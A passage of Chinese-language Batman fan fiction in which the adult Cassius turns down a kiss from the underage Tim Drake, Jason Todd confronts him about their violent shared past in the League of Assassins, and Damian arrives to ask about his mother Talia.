提姆的声音很柔和，他将自己的经历娓娓道来，虽然卡修斯通过漫画了解过一些，但总也没有当事人亲自讲述来的清楚，他一时间听得入了神。 “……那次加勒比海之旅，我的母亲没能回来，父亲一下子老了很多，也突然意识到这些年忽略了我这个儿子太久。我曾经求而不得的父爱就这样突如其来的降临了，但那个时候，我已经成了罗宾，不再需要那种无微不至的关爱了。我们父子之间经历了一段艰难的磨合期，可正当我们开始尝试着彼此理解，成为对方真正需要的那个父亲和儿子时，他被回旋镖队长绑架，杀害了……” “够了。” 卡修斯忽然打断他。 “你不用为了安慰我，把自己曾经的伤口再撕开。”他用另一只手按在提姆略微有些颤抖的肩膀上，“我不会因为你此刻重温痛苦而感觉好一些。” “我不需要这种‘感同身受’，提姆，不要对自己这麽冷酷，没有人值得你这麽做。” 说完，卡修斯继续小心翼翼地帮他清理伤口周围干涸的血迹和污垢。 棉签在伤口上的摩擦产生的刺痛让提姆的肌肉紧绷，但他同样没有出声，只是专注地看着卡修斯垂下的眉眼和抿起的唇。 昏黄的灯光给卡修斯专注的侧脸勾出一层暖黄色的描边，让他刚才虽然温和但明显疏离的神情多了一丝暖意。他的视线顺着灯光照在他睫毛，又投射在眼睑下的阴影，移动到他的鼻梁，再到他直到直到现在还因为刚才的寒冷和失血显得略显苍白的唇色上。 卡修斯的唇很薄，提姆曾听学校的女生说，薄唇的人都很薄情，可他觉得卡修斯不是这样的。 他又想起不久前，在水中的那个人工呼吸。当时自己只想着让卡修斯快些恢复呼吸，什麽其他的想法都没有，但现在，之前所有来不及有的想法纷纷不受控制的涌上心头。 空气似乎在两人互相处理伤口的过程中陡然升温，原本弥漫着的香薰味，消毒水的味道，甚至是还来不及冲掉的海水的咸腥味，好像都消失了，只剩下彼此的呼吸声，以及越来越清晰的心跳声——提姆不知道这到底是自己的，还是卡修斯的。 提姆小心地，悄悄地凑近了些，带这个湿气的温热气息拂过卡修斯的侧耳，他没有躲闪，可是拿着碘伏棉花球镊子的手却不小心更用力了些，暴露出他同样不平静的心绪。 提姆看着卡修斯缓缓抬眼，终于将眼神从伤口处移到了自己的脸上。卡修斯深色的瞳孔里印出自己专注的的身影。他似乎在这双眼睛里看到了忍耐，犹豫，还有一些自我怀疑。 一种熟悉的暖流从心口蔓延，让他几乎忘记了卡修斯对他年纪的执着，提姆知道，如果自己能被允许，可能就是现在。 卡修斯眼睁睁的看着提姆那双专注的仿佛盛满了整个星空的蓝眼睛离自己越来越近，那里清晰的映出自己有些怔忡的脸，他被这种专注和深情捕获，几乎要忘了自己身体的疼痛和精神的疲惫。 在两人的唇即将碰触的瞬间，他看到提姆微微侧过头，缓缓闭上眼。 在他面前颤动的睫毛像是一丝极其微弱的警兆。它像一双蝴蝶，又像一对小小的蝙蝠镖，从瞳孔飞入，直接插进他的大脑。 卡修斯猛地向后退开，从原本侧坐着的床上站了起来，动作快的甚至带起了一阵风。 暖黄色的灯光下，他的耳廓以肉眼可见的速度迅速染上一层薄红，随即蔓延到脸颊。 他抬起手，有些狼狈地摸了摸自己的嘴唇，眼神飘忽不定地一会儿看向墙上的挂毯，一会儿又看向自己全是书壳的书柜，就是不敢再次直视提姆的眼睛。 “呃……那个……”卡修斯的声音带着明显的心虚，他清了清嗓子，试图找回一些镇定。“对，对不起。” 不知道说什麽，总之还是先道歉吧。 提姆直接问：“为了什麽？” 为什麽？为了我差点犯罪？ “我们不能……哎不对……总之，至少是现在不能……” “我都不介意，你在怕什麽？”提姆说。 我怕蝙蝠镖插脑…… 卡修斯不自在的挠了挠脸，说：“我感觉我们现在要是真的做了什麽，我好像是在犯罪。” “你认真的？在我们一起经历过这麽多之后？”提姆反问。 卡修斯犹豫了一下，最后还是重重点了点头。 但是他知道，除了年龄之外，或许还有更深层的一些原因。在他和提姆之间，他是年纪更大的那个，就算他们真的发展出朋友以上的亲密关系，他也必须得承担更多的责任，他不能，至少不能在自己伤痕累累，情绪翻涌的时刻，任由冲动主宰自己，把提姆炙热的感情当作自己逃避痛苦的浮木。 虽然他确实想要这麽做。 提姆眼中的错愕慢慢褪去，取而代之的是一种混合了无奈和了然的复杂情绪，他看着卡修斯看天看地就是不敢看自己，但整个人却是很坚定的站在原地，不曾退缩的样子，刚才被拒绝的失落感慢慢消失，反而升起一种更强烈的，势在必得的占有欲。 他也站了起来，但并没有逼近卡修斯，只是让两个人的视线再次处在同一个水平在线，让卡修斯的眼神就算躲避，也一定能从余光中看到自己。 “所以，只是因为年龄？”提姆的声音恢复了惯常的冷静，但尾音上扬，带着一种执拗的追问。他的眼神更是牢牢锁住卡修斯，不想错过他的任何一个表情。 卡修斯被他看的更加不自在，他的眼神飘向桌上的水晶球：“算是吧。” “还有什麽？” 卡修斯沉默了一会儿，才终于带着些无奈的看向他。 “提姆，现在的我，在感情上最脆弱的时候，做出的任何和感情相关的决定，你能分辨出我到底是真心还是只为了短暂的逃避痛苦吗？” 提姆停顿了一下，才说：“我不介意当你逃避痛苦的驿站。” “我介意啊。提姆，你值得最好的，但现在我不确定自己是不是最好的那个。” 提姆觉得自己又想亲他了。 他的嘴角缓缓提起，神态也带上一种势在必得的笃定。 “那好吧。”他干脆的应了。 卡修斯终于松了口气。 但没想到，提姆马上接着说：“那这个吻，是你欠我的。” “我欠……”卡修斯无语凝噎，人在家中坐，债从天上来。 “你是什麽万恶的资本家！”他控诉道。 说完就觉得自己好像说错话了，提姆·德雷克-韦恩可不就是万恶的资本家麽，大意了！ 提姆也笑了，他点头道：“我本来就是资本家，你知道的，资本家都非常看重商业回报，这个吻就是这次救援的报酬，你可以欠着，但是利息另算。” 卡修斯：…… 不愧是天生的资本家啊，脑子转的就是快，我就说错一句话，你马上给我挖一个大坑。 卡修斯痛心疾首。 “在我十八岁生日那天，我会亲自来收债。” 提姆蓝色的眼睛里闪着光，那是少年人特有的执拗，也是给他给出的，关于未来的约定。 卡修斯扶额叹了口气，但这声叹息里却没什麽抗拒的情绪，反而有种连自己都未曾察觉的纵容和欢喜。他迎着提姆的目光，在这双漂亮的蓝色星辰的注视下，轻轻点了点头，留下应允。 “好。” 第76章 士为知己者死，但不会和知己者谈恋爱。 “现在，韦恩少爷，您该回去了。” 卡修斯避开提姆那双闪烁着纯粹笑意的眼睛，弯腰收拾散落在地上的医疗物品，试图用行动驱散空气里浓度过高的旖旎气氛。 提姆低头看了看自己身上那件略显滑稽的，短了一截的运动裤，皱眉反问：“回去？现在？” 他以为既然两人已经说好了，自己当然可以留在这里过夜。 “不然呢？”卡修斯将碘伏瓶子盖好，放回药箱，他的动作放得很慢，刻意拉长整理物品的时间。这个时候手上有点事做，不至于让他继续面对提姆那过于热切的眼神。 他将收拾好的药箱放回抽屉，这才继续说道：“我这里很安全，利爪不是已经被你们全部解决了？林肯·马奇就算没死，今夜他应该也失去了行动力。至于塔利亚，既然她选择利用林肯·马奇，就说明现在她没有多余的刺客可以用来针对我。” “可是，你刚才明明已经……”提姆对卡修斯的这个决定明显不太满意。 卡修斯打断他想说的话：“说真的，今晚我确实想要独自待一会儿，好好整理一下自己的思绪。理解一下？” 提姆沉默了。他能感觉到卡修斯平静语气下的疲惫，也能理解那些复苏的不太美好的记忆此刻对他来说肯定非常不好受。这也是他本来笃定无论如何也不想让卡修斯一个人独自消化这些情绪的原因。 可是现在，卡修斯已经非常明确的表示，比起陪伴，他现在更需要的是独处。 刚才两个人明明已经坦诚了心迹，可卡修斯立刻就把他往外推，这让他有些怀疑，刚才的承诺是不是只是权宜之计。 “我不想让你一个人面对这些。”提姆说。 卡修斯走近对方，抬手拨开他还没有完全干透的刘海，“我能应付。” 他的眼神非常认真，带着一种经历过生死后沉淀下来的冷静，“别忘了，在遇到你们之前，我也是一个人活下来的。” 提姆还想说什麽，卡修斯直接用两指封住了他的唇：“况且，你留在这里，对我来说才是最大的意志力考验。” 他像是不好意思似的，将脑袋凑近提姆耳边，明明没有其他人，卡修斯却像是怕被空气中的微生物偷听到似的，将声音压得很低，带着些无奈的坦率：“我刚刚才拒绝了一个未成年人的吻，并且签下一份五个月后生效的‘吻债合同’——我的道德底线正处于高敏感状态。你穿着我的衣服，站在我的家里……这真的很考验一个成年男人的意志力。我不想犯罪，也不想‘提前还款’，然后被蝙蝠侠以诱/拐未成年人的罪名暴打一顿。” “B他不会……” “提姆，卡修斯说得没错，尽快回来，我们需要谈谈。” “艹！” 他凑近的那只耳朵里传来蝙蝠侠充满威慑力的电子喉音，吓的卡修斯猛地往后跳了一大步！ “你为什麽没关通信器！” 所有的暧昧气氛消失殆尽，卡修斯崩溃地捂脸大喊。 提姆无奈的按了按耳朵：“B，你是不是故意的？” “是你忘记关通信。”布鲁斯说。 提姆发誓自己听到了他喉咙里压抑的笑意。 “你明明可以从你那边关掉！或者，及早提醒我。”提姆忍不住挺高声音。 卡修斯已经尴尬的在原地转圈，企图从地上找一条裂缝，然后想办法钻进去。 “我以为你是故意让我听到的。”布鲁斯当场甩锅。 “我非常注重隐私，还没那麽无聊！罗宾脱机！”提姆毫无形象的翻了个白眼，然后毫不犹豫的关掉了通信。 卡修斯终于停下了转圈，他看着提姆说：“在你成年之前，我都不敢再去韦恩庄园，面对布鲁斯和阿尔弗雷德了，我现在真的有种诱/拐未成年人然后被当事人家长当场抓获的感觉！” 提姆没回答他，两个人互相对视了一会儿，终于低低笑了起来。不是平时那种克制的微笑，而是那种活泼的，连带着胸腔震动的闷笑。 卡修斯气呼呼的看了他半天，最后也忍不住笑了出来。 两人就这样傻站在原地笑了半天，提姆终于停了下来。他抬手摸了摸卡修斯耳垂因为窘迫还没来得及褪下去的粉红色，嘴角仍旧向上挑着：“好吧，卡修斯·希尔先生，你最后的那个理由说服了我。” 他后退一步，目光在卡修斯脸上停留片刻。他的眼神里依然带着无法消散的执着和喜爱：“保持通信，有任何不对劲，立即按通信器，我会以最快的速度赶来。” 说着，他又递给卡修斯一个新的通信器。 卡修斯接过通信器，可语气却不乏抱怨：“行了吧，我现在听不得‘保持通信’这四个字。” 提姆又忍不住笑了一声。他将地上罗宾制服捡起来收拾好，穿着拖鞋的一只脚攀上了他破损的窗口：“晚安，卡修斯。” 他转过头，看了眼暖黄灯光下的身影。 “晚安，罗宾。”卡修斯靠在柜子旁边，对着他挥了挥手。 眨眼间提姆就从他的窗口跃了出去，卡修斯这才想起来，他明明可以走门的。 “和门有仇吗？”他笑着自语一声。 回答他的之后微微飘动的窗帘。 那股混合着海水，铁锈和年轻男孩特有气息的味道随着提姆的离开也一并消失了。店铺里瞬间安静下来，连暖黄色的灯光好像也暗了下来。 卡修斯长长地吁了口气，一直处于活跃状态下的神经终于彻底松懈下来，随之而来的是潮水般的疲惫和孤独。 好在提姆离开之前，因为通信器没关而产生的那个乌龙在一定程度上冲淡了卡修斯自怨自艾的心情，让他此刻并没有自己预计的那样难过。 他走到破碎的橱窗前，用手拨开窗帘的缝隙看向外面沉寂的街道。哥谭的夜晚从未真正安宁过，犯罪巷更是如此，可也许今天普通的犯罪分子都嗅到了空气中不寻常的味道，外面显得异常安静。 他放下窗帘，走到卧室里的浴室间，脱掉衣服，又将刚刚包扎好的伤口好好地用保鲜膜包好，确认不会沾到水，才打开淋浴，将自己完完全全置于花洒之下。 闭上眼，足足冲了10分钟热水，卡修斯才终于有种彻底活过来的感觉。 拉撒路池水的幽绿，林肯·马奇冰冷的金属爪尖，高空坠落的失重感。还有提姆那双盛满炙热和担忧的蓝眼睛……各种画面终于在自己的脑海里渐渐淡去。 他确实需要独处，需要这份绝对的孤独，这样才能梳理那些被强行塞回脑海的，属于“CS-02”的记忆碎片。 在淋浴下足足待了半个多小时，直到那个小小的淋浴间布满了充足的水汽，卡修斯才关掉淋浴，打开淋浴门，从门的扶手上抽出毛巾搭在头上，也不管还滴着水的身体，赤着脚踏出了浴室。 可他一踏出淋浴间就感觉到了不对劲，有人正站在他的浴室门口！ 他的浑身的汗毛都炸了起来，将头上的毛巾一把拉下来就朝着人影的方向抽了过去。 对方一把抓住了他的毛巾尾端，然后一用力，将他整个人拽进了怀里。 对方应该自己的浴室待了许久，身上都是自己浴室的潮湿水汽，卡修斯想要挣扎，却被箍在怀里完全动弹不得。 卡修斯在被抱住的瞬间已经知道了来人是谁。 因为他红色的头罩此刻正放在自己的盥洗台上。 他还穿着自己标志性的皮夹克，拉链即便在浴室里捂了许久，贴在卡修斯身上的时候，也让他感觉到有一丝金属特有的坚硬和冰凉。 卡修斯抬头看过去，那张棱角分明的脸上没有了惯常的讥诮或不耐烦，反而笼罩着一层深层的，复杂的阴郁。此刻他的眼眸是蓝绿色的，在雾气的笼罩下，像两枚淬着毒的箭头，正直直钉在卡修斯的脸上。 “你先松开我，让我穿衣服！”卡修斯心中一惊，看他这个眸色，明显是即将犯病的征兆。 当初在刺客联盟，卡修斯隐约记得，每当杰森受到刺激，没办法控制自己的时候，他原本蓝色的眼睛就会显出一些如拉撒路池水般的绿来。 这个时候的杰森通常是没什麽理智的，所以他也不敢和对方硬碰硬。 杰森没说话，只把手臂当做钳子一样紧紧箍着他，他的眼神锐利的像是要穿透他的皮肤，看清他灵魂深处刚刚复苏的记忆。 “你想起来了。”在长时间的沉默后，杰森终于开口。他的声音和他的神情一样阴郁低沉，而且他也没有真的提问，只是在陈述。 “你松手，这样真的太奇怪了。”卡修斯放软声音，尝试着跟他耐心的沟通。 “就这样说。”杰森坚持道。 阿尔弗雷德打电话来询问卡修斯在刺客联盟相关的经历，他才知道今晚到底发生了什麽。 挂掉电话他径直来到卡修斯的住处，随后就听到了卡修斯和提姆之间的“互诉衷肠”。 天知道他是强忍着多大的愤怒，才没有立刻闯进去。 他不明白，如果卡修斯记起了一切，就应该知道，自己才是跟他在患难之中相濡以沫的那个人，他凭什麽对那个替代品许下承诺？ 其实这些天和提姆·德雷克短暂的接触中，他已经没有曾经那麽恨这个人了，甚至在心底，他也承认了提姆的能力，认为他确实有资格继承罗宾这个名号。 特别是他变成狐狸后的那段时间，看着狐狸生无可恋的被自己撸来撸去，杰森觉得自己可以原谅对方在泰坦塔抓到自己，强行给自己做各种尊严扫地的体检行为了。他甚至还在幻想，也许再过一段时间，提姆说不定能成为蝙蝠巢xue里，自己能看的最顺眼的那只小鸟。 但是现在，他没办法不怨恨对方。 他觉得提姆大概生下来就是克他的，什麽都要跟他争。 卡修斯皱着眉，拒绝这样跟他沟通。但他的心声却暂时没办法隐藏，给了杰森想要的答案。 “你只记得拉尔斯那个老浑蛋？记得他是怎麽折磨你的？那我呢？”杰森从他的心声中得知，卡修斯目前的记忆里，关于他们两个人的过去依旧少的可怜。 杰森在刺客联盟的五年仿佛吃了金坷垃一样迅速膨胀，卡修斯是眼睁睁的看着他是怎麽从一个15岁的，甚至能称得上是瘦小的少年，长成了一个200磅的壮汉。平时不怎麽觉得，但是现在，高大的身形和宽阔的上围投下的阴影已经将他完全笼罩，这让卡修斯第一次真真切切在杰森身上感受到这种不容抗拒的压迫感。 杰森此刻垂着头，用那双蓝绿色的眼睛紧紧锁住卡修斯的脸逼问：“你记起我了吗？记起我们了吗？” 卡修斯避开那双迫人的视线。 他不想说，所以在心里告诉了他答案，杰森明明听到了，却依然不依不饶的追问。他能感受到杰森身上散发出的强烈的情绪——期待、焦虑，甚至还有一丝不知名的恐惧？ 见杰森执着的想要自己说出那个答案，卡修斯深吸一口气，说道：“没有。” 他的声音已经恢复了平静，甚至平静到有些冷漠：“关于你，我现在也只有一些模糊零散的记忆碎片，我甚至不确定那些记忆到底是真实的还是我臆想出来的。” 在记忆有瑕的情况下，不排除他有可能把曾经的漫画情节错当成他自己记忆的可能性。 可这个答案显然不是杰森想要的，他脸上肌肉紧绷，双颊明显在用力，眼睛里的绿色越发浓重了。 “模糊？臆想？”杰森的声音开始变得尖刻，“我们一起在地狱里待了多久？塔利亚每一次必须死人才能结束的训练，你从一开始只知道逃跑到后来可以和我一起割断别人的喉咙，是谁在一点点教你，又是谁在护着你？” 卡修斯有些难以忍受的闭上眼睛。 直到今天之前，他都以为自己只是灵魂穿越，而这具跟他原本长得几乎一模一样的身体，只是从他穿越起，一系列不科学的巧合罢了。 如果这身体的确是他自己原本的那具，他不用想也知道，练成现在这样，把杀人变成一种身体记忆，到底要经过多少你死我活的杀戮。 他不想想起这些。 “当拉尔斯想要再一次把你按进他的绿池子里的时候，是谁不顾危险，杀掉他所有的守卫，将你拖出来，藏起来的？这些你都不愿意想起来吗？” 杰森的声音因为激动而颤抖，每个字都像尖刀一样狠狠扎进两人共同的，血淋淋的过去。 那些被他刻意遗忘的，属于刺客联盟的残酷过往，随着杰森的控诉，强行在卡修斯的脑海中翻腾起来。 “够了，不要再说了！”卡修斯猛地挣扎起来。 他用力想要掰开杰森钳制他的手，声音里是无法控制的痛苦和抗拒，“我不想听，就是不想记起来这些，那些都是假的，是噩梦，我不需要再重温一遍！” “你不想记起来？”杰森像是被彻底激怒了，他非但没有松手，反而将卡修斯按在了身后的盥洗台上。两人的鼻尖几乎要碰到一起，他能清晰地闻到杰森身上硝烟的味道。 “你凭什麽想不起来我？那是我们的过去，是我们一起从地狱爬出来的证明！你记得起来那些伤害你，折磨你的事，偏偏记不起来唯一对你好的人？”他用力掐住卡修斯的肩膀使劲摇晃，就好像被他摇一摇，对方就能记起来似的。 “你看着我，看看我。你不想记起来，那我怎麽办？” 他刚从拉撒路池里爬出来的时候，谁都不记得，谁也不认识，塔利亚让他杀人，可是他不想这麽做。 塔利亚告诉他，只要在刺客联盟，不杀人，就只能等着被杀，就像……就像塔利亚握着他的手，杀死的那个男人一样。 他再一次见到卡修斯的时候，以为自己碰到了鬼，但很快他就反应过来，卡修斯也一定泡过了拉撒路池。塔利亚让他把卡修斯当作练习杀人的对象。 他经历过死亡，知道灵魂被强行拽回，再一片片被拼凑回去的感觉是什麽。他不知道卡修斯这样的人为什麽会在刺客联盟，但他知道，没有任何一个人应该被这样对待。 他对塔利亚提出的第一个要求就是希望卡修斯能和他一起训练，他会按照塔利亚希望的那样，成为一个杀手，一件武器，但卡修斯必须和他一起。 他记得当时塔利亚看着他时，奇异的眼神。但他无所畏惧。 虽然他不记得自己的过去，但从拉尔斯和塔利亚对待他的态度来看，自己一定对他们有用，出生于哥谭犯罪巷的本能让他会抓住一切对自己有利的机会进行谈判。既然杀戮不可避免，那他至少能选择救一个人。 塔利亚同意了他的请求。于是卡修斯就变成了他在刺客联盟的责任，也成为了他心里那束不曾熄灭的光。好像只要有他在，自己就不会彻底坠入深渊。 卡修斯被他晃得头晕目眩，那些被强行塞入的残酷记忆碎片更加汹涌地冲击着他的神经。 他看着杰森近在咫尺的脸，前额那一簇白发晃得他眼花。 “杰森……停下……”卡修斯感觉自己快吐了。直到肩膀绷带下渗出粉红色的血迹，杰森才停下了自己的动作。 “对不起。”卡修斯说，“我忘记那些痛苦，忘记拉尔斯的残忍，忘记塔利亚的冷酷，忘记得每一次死亡的冰冷……是因为这些记忆太沉重了，如果我记得它们，我会活不下去。”他深吸一口气，试图让自己的声音不要颤抖，“我没办法把那些日子和任何‘好’东西联系在一起，即使……即使那个‘好’的东西是你。” 他顿了顿，看着杰森明显受伤的眼神，维持着被他压在洗手台上的姿势继续艰难地说：“我知道你想要什麽，但是我做不到，不行就是不行。” 杰森轻声问他：“为什麽？” 卡修斯呼出一口气，他看着杰森的眼神有些自己都没发觉的怜惜，但更多的是一种近乎残忍的坦诚：“你看到过我最不堪的过往，看到你，我就会不自觉地回忆刺客联盟的日子，我不想回忆那个。杰森，我也很感激那些灰暗的日子有你陪在我身边，的确，因为有你，我才能撑下去，也是因为你，我才重新拥有了继续活下去的勇气。这份患难与共的情谊我绝不会忘记。东方有句古话，叫做士为知己者死，我可以为你死，但也仅此而已。我不能和你在一起，做不到就是做不到。” 杰森松开了卡修斯，他后退了一步，发出短促而尖锐的冷笑：“仅此而已？” 他的眼睛已经完全变成绿色，他死死盯着面前的人，里面燃烧着一种近乎痛恨的愤怒。 “你骗鬼呢？你告诉我，你逃离刺客联盟的时候，为什麽偏偏选了哥谭？别告诉我你只是随便买了一张火车票！这里是我的家！是我无数次向你提起的地方，如果你心里没有我，为什麽要来这里？！” 杰森的质问像是一道闪电，再次劈开了卡修斯记忆里被尘封的某个角落。 杰森·陶德呆呆地站在训练场上，刚刚结束的杀戮里，被杰森击倒在地的一个刺客捡起地上的撬棍，猛地挥向了他的脑袋。 “小心！” 卡修斯看到同样累到站不起来的自己只能尽力大声提醒杰森。 杰森用手臂挡下了这一记攻击，然后反手握住撬棍，夺过棍子，将人打倒在地，直接用棍子的底端戳穿了对方的喉咙。 这是卡修斯第一次见到杰森用这麽残忍的方法虐杀对手。 然后他扔掉撬棍，跌跌撞撞走到角斗场的角落，将自己蜷成一团。 卡修斯强撑着跑过去蹲在他面前，按着他颤抖的肩膀问：“你怎麽了？” 杰森抬起脸，卡修斯看到他的脸上都是眼泪。 “小丑……撬棍，一下又一下……”他的声音带着破碎的颤抖，无意识的抱着自己的身体，尽量缩到最小。 “塔利亚告诉我，小丑还活着……他为什麽还活着？他怎麽可以活着？布鲁斯为什麽不为我报仇？为什麽不帮我杀了他……为什麽！是因为我没有听他的话吗？所以我不配让他替我复仇？” 卡修斯当时早已经忘记了自己的过往，更记不起来在自己原本的世界里，这儿只是一本漫画，他能感受到杰森的痛苦和不甘，他同情这个同样被命运折磨的遍体鳞伤的少年。 那时，他就暗自下定决心，如果有一天，他能活着离开这里，他会去哥谭，他要去哥谭帮杰森杀了那个叫小丑的人。 他没办法让杰森的父亲，那个叫布鲁斯的人，帮他报仇，但他可以帮他去杀。如果这是杰森想要的话。 原来如此。 卡修斯的心脏猛地一缩。 这就是他会来哥谭的原因。 不是什麽莫名其妙的命运，而是为了兑现一个自己在最绝望时遇到的救赎——一个同样绝望，但依然在黑暗中鼓励他活下去的少年的承诺。 杰森显然也听到了卡修斯此刻所想，也听到了那句清晰的回忆——“我会帮你杀了他。” 他脸上的愤怒和质问瞬间凝固了，原本燃烧着怒火的眼神被惊愕取代。 他再次向前一步，想要抓住卡修斯的肩膀，他高大的身影再次笼罩下来。卡修斯不得已，从洗手台上抓过刚才的毛巾，勉强围在自己身上。 两人距离再一次近的能感受到彼此的呼吸。卡修斯没有动，只是看着杰森眼中翻涌的复杂情绪，以及他越来越近的脸。 他能清楚的感受到杰森的意图。 “如果这就是你想要的。” 卡修斯在心里说，然后平静的闭上眼睛，身体却依然僵硬。 他没有迎合，也没有躲闪，只是……对即将到来的一切平静的接受，像是在完成某种迟来的仪式。 卡修斯已经记起来，是因为杰森，他才能避免重复死亡的命运。 所以，如果他想要的是这个，卡修斯觉得也算公平。 然而，预想中的碰触并没有到来。 杰森的呼吸灼热地喷在他的脸上，但他的动作却在最后一刻硬生生停住了。 最终，杰森猛地直起身，像是被什麽东西烫到一样后退了一大步。 他将自己的棕色夹克脱下来盖在了卡修斯的身上，又抬手用力抹了一把脸，从喉咙深处挤出一声低吼。 “艹！” 他抬起头，再次看向卡修斯，那双绿眸里翻涌的冲动已经燃为灰烬：“卡修斯·希尔，你真是个冷血的混蛋！” “陶德！你在干什麽！你是不是强/奸了我的仓鼠？！我要杀了你！”门口传来达米安锐利的，愤怒的尖叫声！ 卡修斯：……累了，毁灭吧。 第77章 逃避可耻，但有用 杰森偏头看向达米安。此刻他已经收起了刚才面对卡修斯时全部的情绪失控，冷笑着对达米安说：“对啊，你咬我啊！” 达米安立刻拔刀冲了上来。 卡修斯：…… 他先将杰森扔在他身上的夹克套上，贴着墙溜出卧室，快速换好衣服，然后才重新走回浴室门口，看着才短短一分钟就已经一片狼藉的小小空间，淡定开口道：“你们这样打是打不死人的，受伤的除了我的家，还有什麽呢？要不你们出去打吧？” 达米安一刀抽在杰森腿上，但杰森也不能站着挨打，立刻跳起来朝达米安扔了几个飞镖。 但是两个人都沉浸在对对方的攻击中，根本没听到卡修斯在说什麽。 “住手啊！我的浴室没惹你们任何人！” 卡修斯气沉丹田，大声喊道。 “你先让这个小疯子停手！”杰森也抽出小腿上的匕首，迎着对方的大马士革短刀冲了上去。 卡修斯翻了个白眼。 为什麽他想要独处一个晚上就这麽难呢？ 算了，韦恩家的少爷，他真的是一个都管不了，都是大爷。 卡修斯决定眼不见心不烦，随便他们造，造完了拿着账单去找布鲁斯……不，算了，找提姆报销。 “你干什麽去？！” 看他要走，达米安立即拦住他问。 “把场地让给你们，我自己换地方总行了吧。”卡修斯用手指挡开他拦在自己眼前的刀刃，说。 “你不许走，我找你有事！”达米安霸道地说。 杰森从已经被刀砍掉一角的洗手台上拿过自己的红色头盔，送给达米安一个相当挑衅的气音，然后将头罩戴好，遮住了自己的脸。 “拴好这只恶魔崽子，别让他跑出来发疯！”杰森说着，大步朝着门口走去。达米安想要拦他，却被卡修斯一把拎住后衣领。 红头罩没有丝毫停留，和提姆一样，他也从破损的窗户处一跃而出，迅速消失在了外面的黑暗中。很快，楼下不远处传来重型机车暴躁的引擎轰鸣声，如同受伤野兽的咆哮，由近及远，最终消失在卡修斯的能听到的范围之外。 “放肆！”达米安从卡修斯手里夺回自己的衣领，用恨铁不成钢的眼神看着他，“你是不是被他欺负了？” 卡修斯真想仰天长啸。 “没有啊，只是他和你一样，进来的时候从来不走门，刚好我在洗澡而已！请问我的门是摆设吗？你们一个两个的进进出出为什麽都不走门？” 他忍不住抱怨道。 达米安还是不依不饶：“可我进来的时候你还什麽都没穿，只披着他的衣服！” “难道你洗澡还会穿着衣服洗吗？韦恩少爷，达米安少主！求求你放过我吧！这麽晚了你到底找我什麽事儿啊？能不能直接说正事呢？” 达米安皱着眉，终于迟钝地从他的脸上读出了“忍着不耐烦”这种情绪。 当然，这也不能怪他，主要是在达米安之前的10年生命里，他身边没有人敢对他流露出这种情绪，所以他对这个很陌生。 “吱吱好像在不高兴”他听到达米安心里这样说 “你在不高兴？”达米安问。 卡修斯觉得达米安在韦恩庄园的这些日子还是有变化的，之前的达米安什麽时候关注过别人的心情？于是他点头道：“是啊，少爷，恭喜你，终于看出来了呢！” 达米安本来还想再次斥责对方竟然敢对自己阴阳怪气，但想到他刚刚经历过一场凶险的追杀，于是打算原谅他的冒犯。 毕竟仓鼠的确是一种经常会感到自己压力过大的生物。 达米安站在原地思考了一阵，最后决定道：“那等你什麽时候心情变好了，我再来找你。” 卡修斯立刻拉住他：“别，来都来了，有什麽事直接说吧，也不差这麽一会儿了。” 而且就在刚才，他临时做了个决定，他打算离开哥谭一段时间。所以错过今晚的话，也不知道什麽时候再能和达米安说上话。 达米安显然也不是很想走，卡修斯只轻轻拽了他一把，他就自动在原地重新站定，只是他也没立即说话，就看着卡修斯，好像在考虑到底要怎麽开口。 不过他的心声已经暴露了他想要问的事。 “我该怎麽问他关于母亲的事？” 卡修斯真的很惊讶，在他的印象里，达米安绝对不是会考虑别人想法的那种孩子，从他出生起就在刺客联盟这种级别十分严明的封建环境中，接受着弱肉强食的原始丛林法则的上位者教育，让他很难学会考虑别人的想法，但现在他的改变简直肉眼可见。 “你想问塔利亚的事吗？”卡修斯主动开口道。 达米安点了点头，他微微仰着头说：“既然你知道我想问什麽，那就把你知道的一切，毫无隐瞒的告诉我吧。” 卡修斯又注意到一个小细节，就是现在他直呼塔利亚名字的时候，达米安不会再像以前那样立即纠正他，让他使用敬语了。 “你偷偷从韦恩庄园跑出来，不会认为你父亲没有发现吧？”卡修斯并没有直接回答他。 果然，他刚说完这句话，达米安的手机就响了。他看了卡修斯一眼，然后接起手机：“父亲。” 之后达米安一直没说话，只是一边聆听，一边盯着卡修斯。 “我知道了，会马上回来的。”他有些不甘心地答应道。说完，他就挂断了电话。 其实就算没听到他们说什麽，卡修斯也知道布鲁斯会对达米安说什麽，无非是阻止他继续探究塔利亚追杀他的真相。 他知道布鲁斯这麽做是希望能保全塔利亚在达米安心中的母亲形象。 布鲁斯的初衷是好的，他还是想把达米安当作普通的10岁小孩来对待。 不过卡修斯觉得达米安并没有布鲁斯想的那麽脆弱。而且，说他有私心也好，报复心重也好，塔利亚都这麽对他了，她在达米安心中是什麽形象，说到底，跟他又有什麽关系呢？ “父亲说吱吱不会越俎代庖的告诉我和母亲相关的事。我该就这麽放弃吗？” 他听到达米安心里这样说。 卡修斯微微勾起嘴角，说：“想知道你的母亲为什麽追杀我？” 达米安果然用惊讶的眼神看着他。 “塔利亚当然是为了你。”卡修斯说。 “我？”达米安一脸茫然地看着卡修斯。 “你的外祖父，也就是拉尔斯·奥·古，也许并没有彻底死去。”卡修斯缓缓说。 “什麽？”达米安不懂为什麽本来是在说母亲的事，却突然提到他的外祖父，但这并不影响他表现出一脸惊喜的样子。 达米安一向崇拜强者，在他曾经10年的人生里，拉尔斯就是他所能接触到的最强大的人，因此他对拉尔斯的仰慕之情也不难理解。在他的印象里，母亲塔利亚也非常尊敬和爱戴拉尔斯。所以，卡修斯一想到自己接下来的话要打破达米安对他母亲和外祖父之间关系的刻板印象，就有种阴暗的快乐。 “我以前是拉尔斯的实验品，这你是知道的吧。”卡修斯继续说。 达米安皱了皱眉，他非常不喜欢卡修斯提起这件事。他当初要养卡修斯的时候，母亲就暗示过，卡修斯是外祖父放弃的实验品，和他扯上关系也许令外祖父不喜，但在达米安看来，那时的卡修斯毫无威胁，又听话，又乖顺，外祖父和母亲不让他养宠物，可是又没说不让他养人，他有种感觉，如果在母亲和外祖父眼里，他不把卡修斯当成人，说不定反而会取悦外祖父。 所以，他不大高兴地反问：“你东一句西一句的，到底想要说什麽？” 卡修斯挑起眉，这是他第一次听到达米安在心里回忆他当初在刺客联盟给自己庇护时的心态。 他有点感动，但是不多，只能说，达米安做的好事，和拉尔斯又没什麽关系。 